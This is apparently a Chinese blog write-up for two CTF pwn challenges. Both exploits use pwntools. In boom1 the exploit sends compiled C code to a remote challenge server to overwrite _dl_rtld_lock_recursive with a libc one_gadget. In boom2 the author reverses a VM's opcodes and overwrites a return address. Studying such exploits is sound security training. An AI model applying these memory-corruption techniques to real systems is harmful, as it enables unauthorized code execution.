TTTTTTTTCL,菜鸟不配打CTF,和De1CTF一样,打过之后才知道自己是多么的菜
boom1
1 | from pwn import* |
2 | #from LD import* |
3 | #LD=change_ld('./main','./ld-2.23.so') |
4 | #p = LD.process(env={'LD_PRELOAD':'./libc-2.23.so'}) |
5 | libc =ELF('./libc-2.23.so') |
6 | p = remote('182.92.73.10',24573) |
7 | context.log_level ='DEBUG' |
8 | payload = ''' |
9 | char *s; |
10 | char *n; |
11 | char *ptr; |
12 | int main() |
13 | { |
14 | s = "FMYY"; |
15 | n = s - (0x7F8FE6E5C028 - 0x7F8FE6933000); |
16 | s = n + 6229832 - 3848 + 8; |
17 | s[0] = 0; |
18 | s = n + 6229832; |
19 | ptr = 0xCD0F3 + n; |
20 | s[0] = (ptr)&0xFF; |
21 | s[1] = (ptr>>8)&0xFF; |
22 | s[2] = (ptr>>16)&0xFF; |
23 | printf("%p %p %p",n,ptr,*(int *)s); |
24 | }''' |
25 | payload = payload.replace('\n','') |
26 | p.sendline(payload) |
27 | p.interactive() |
程序的作用就是可编译执行写好的C代码,限制也比较多,利用黑盒做的,经过学长的提点之后,C代码可实现任意写
1.在C代码中,定义一个指针,通过打印获得指针的位置,然后计算相对于libc_base的偏移,再修改指针的指向,令指针n指向libc_base
2.由于libc-2.23中所有的one_gadget皆不满足执行条件,只能手动修改,通过四则运算与动态调试后,令[_rtld_global+8] == 0,则可满足0xCD0F3的执行条件
3.后续则是计算_dl_rtld_lock_recursive的偏移量,单字节修改末三位字节为one_gadget
boom2
题是一个VMPWN,程序在输入结束后,初始化了一个虚拟机栈,后面则是分析那个while怪物,翻译成能读懂的语言,修改返回地址为one_gadget
下面是我分析的代码,因为当初就是VMRE卡住了,才开始学的PWN,所以翻译出来不知道错误怎样,希望看到博客的师傅们能指出我的错误,感谢
Exploit Main LIBC
1 | 虚拟栈初始化完之后,RSP+0X18 = SP; RSP+0X20 = BP; RSP+0X28 = RA; |
2 | 00: RA = BP + OPCODE*8 |
3 | 01: RA = OPCODE |
4 | 06: PUSH BP |
5 | MOV BP,SP |
6 | SUB SP,OPCODE*8 |
7 | 08: MOV SP,BP |
8 | POP BP |
9 | 09: RA = [RA] |
10 | 10: AL = [RA] |
11 | 11: [[SP]] = RA |
12 | ADD SP,8 |
13 | 12: [[SP]] = RA |
14 | RA = [SP] |
15 | ADD SP,8 |
16 | 13: PUSH RA |
17 | 14: RA = [SP] | RA |
18 | ADD SP,8 |
19 | 15: RA = [SP] ^ RA |
20 | ADD SP,8 |
21 | 16: RA = [SP] & RA |
22 | ADD SP,8 |
23 | 17: if [SP] == RA |
24 | RA = 1 |
25 | else |
26 | RA = 0 |
27 | ADD SP,8 |
28 | 18: if [SP] != RA |
29 | RA = 1 |
30 | else |
31 | RA = 0 |
32 | ADD SP,8 |
33 | 19: if [SP] < RA |
34 | RA = 1 |
35 | else |
36 | RA = 0 |
37 | ADD SP,8 |
38 | 20: if [SP] > RA |
39 | RA = 1 |
40 | else |
41 | RA = 0 |
42 | ADD SP,8 |
43 | 21: if [SP] <= RA |
44 | RA = 1 |
45 | else |
46 | RA = 0 |
47 | ADD SP,8 |
48 | 22: if [SP] >= RA |
49 | RA = 1 |
50 | else |
51 | RA = 0 |
52 | ADD SP,8 |
53 | 23: RA = [SP] << RA |
54 | ADD SP,8 |
55 | 24: RA = [SP] >> RA |
56 | ADD SP,8 |
57 | 25: RA = [SP] + RA |
58 | ADD SP,8 |
59 | 26: RA = [SP] - RA |
60 | ADD SP,8 |
61 | 27: RA = [SP] * RA |
62 | ADD SP,8 |
63 | 28: RA = [SP] / RA |
64 | ADD SP,8 |
65 | 28: RA = [SP] % RA |
66 | ADD SP,8 |
EXP概述
1 | from pwn import * |
2 | p = process('./main') |
3 | MAX = 0x10000000000000000 |
4 | payload = "" |
5 | payload += p64(1) + p64(0x5D4000 - 0x45216) |
6 | payload += p64(26) |
7 | payload += p64(13) |
8 | payload += p64(26) #just to make add sp,8 |
9 | payload += p64(1) + p64(0xE8) |
10 | payload += p64(26) |
11 | payload += p64(13) |
12 | payload += p64(0) + p64(MAX - 5) |
13 | payload += p64(9) |
14 | payload += p64(11) |
15 | #gdb.attach(p,"b* $rebase(0xE43)") |
16 | p.send(payload) |
17 | p.interactive() |
1.首先利用1和26两个运算对栈顶位置的一个地址进行计算令其为rce地址保存在RA寄存器中,13运算将RA寄存器的值放回原来的栈顶位置
2.第二次就需要出栈,令SP+8,同理修改保存的地址指向程序的返回地址,此时SP停留在初始化栈后的第二个位置
3.利用0与9读取之前保存的rce地址,用11的二阶指针修改返回地址为rce即可